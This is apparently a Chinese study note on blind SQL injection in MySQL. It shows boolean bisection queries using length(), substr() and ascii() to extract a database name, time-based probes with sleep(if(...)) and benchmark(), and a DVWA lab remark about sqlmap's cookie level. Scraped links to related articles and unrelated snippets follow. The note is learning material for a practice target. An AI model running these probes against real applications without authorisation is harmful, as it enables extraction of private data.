盲注是因为数据库查询的结果不会直接显示在页面。只能通过构造查询语句查看反馈的结果真&假状态来判断信息。
实际注入手法和回显注入区别不大
下面只记录相关思路
select length('test'); 查看字符串长度
二分法判断数据库名字的长度
mysql> select length(database())>10;
+-----------------------+
| length(database())>10 |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select length(database())>5;
+----------------------+
| length(database())>5 |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
mysql> select length(database())>3;
+----------------------+
| length(database())>3 |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select length(database())=4;
+----------------------+
| length(database())=4 |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| d |
+------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>64;
+----------------------------------+
| ascii(substr(database(),1,1))>64 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>100;
+-----------------------------------+
| ascii(substr(database(),1,1))>100 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>80;
+----------------------------------+
| ascii(substr(database(),1,1))>80 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>90;
+----------------------------------+
| ascii(substr(database(),1,1))>90 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>95;
+----------------------------------+
| ascii(substr(database(),1,1))>95 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>97;
+----------------------------------+
| ascii(substr(database(),1,1))>97 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>98;
+----------------------------------+
| ascii(substr(database(),1,1))>98 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))>99;
+----------------------------------+
| ascii(substr(database(),1,1))>99 |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))=100;
+-----------------------------------+
| ascii(substr(database(),1,1))=100 |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
使用二分法判断出数据库第一个字母ascii码为100 对应的字母为小写d
另外盲注还可以通过延时来判断
mysql> select sleep(if(length(database())=4,3,0));
+-------------------------------------+
| sleep(if(length(database())=4,3,0)) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (3.00 sec)
mysql> select sleep(if(length(database())=5,3,0));
+-------------------------------------+
| sleep(if(length(database())=5,3,0)) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (0.00 sec)
mysql> select sleep(if(length(database())=5,3,0));
通过响应返回的延时来判断信息是否正确
也可以用 benchmark重复执行命令函数来进行延时
mysql> select benchmark(50000,md5('test'));
+------------------------------+
| benchmark(50000,md5('test')) |
+------------------------------+
| 0 |
+------------------------------+
1 row in set (0.02 sec)
mysql> select benchmark(5000000,md5('test'));
+--------------------------------+
| benchmark(5000000,md5('test')) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (1.45 sec)
DVWA high难度
查询字段在cookie内 需要设置--level 2
- Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
- [转载]sql 盲注之正则表达式攻击
[转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...
- WEB安全番外第四篇--关于SQL盲注
一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...
- SQL盲注
一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入 真 and 假 = 假 (1)...where u ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...
随机推荐
- LINUX笔记之二常用命令(权限管理命令)
1. +增加权限:-去掉权限:=直接赋权. r(4)w(2)x(1) 重点掌握:通过数字授权,例如rxwr-xr--是754 例题:用root用户创建目录并在此目录新建文件,之后更改新文件的权限为77 ...
- [洛谷P2605] ZJOI2016 基站选址
问题描述 有N个村庄坐落在一条直线上,第i(i>1)个村庄距离第1个村庄的距离为Di.需要在这些村庄中建立不超过K个通讯基站,在第i个村庄建立基站的费用为Ci.如果在距离第i个村庄不超过Si的范 ...
- 【WinForm-无边框窗体】实现Panel移动窗体,没有边框的窗体
没有边框的窗体怎么移动?其实方法有很多,下面介绍一种用控件来移动窗体,Panel或PictureBox都可.主要设置控件的MouseDowm和MouseLeave事件. 第一步:窗体设计 窗体最上面是 ...
- 什么是BFC(块级格式上下文)?
㈠什么是BFC? BFC 全称为 块格式化上下文 (Block Formatting Context) . 定义:浮动元素和绝对定位元素,非块级盒子的块级容器(例如 inline-blocks, ta ...
- jdk,jre下载安装
JDK安装https://blog.csdn.net/u012934325/article/details/73441617/jre需要手动生成在JDK安装目录下,的bin cmd执行bin\ jli ...
- codevs 2602 最短路径问题x
题目描述 Description 平面上有n个点(n<=100),每个点的坐标均在-10000~10000之间.其中的一些点之间有连线.若有连线,则表示 ...
- Topcoder SRM 674 Div.2题解
T1 解题思路 这题应该不是很难,主要是题意理解问题. 注意给出的两个数组里映射关系已经对应好了,只要判断是否为双射即可 参考程序 #include <bits/stdc++.h> usi ...
- Springboot 项目中引入WebSocket后,单元测试出现错误
报错信息 java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.test. ...
- 基于dubbo的分布式系统(一)安装docker
1.安装过程参考: #uname -r 查看内核是否高于3.10 #sudo yum update root权限登陆确保yum包最新 #sudo yum remove docker docker-c ...
- python3笔记五:while语句
一:学习内容 while语句 while-else语句 while语句练习 二:while语句 1. 格式 while 表达式: 语句 2.逻辑 当程序执行到while语句时,首先计算表达式的值 ...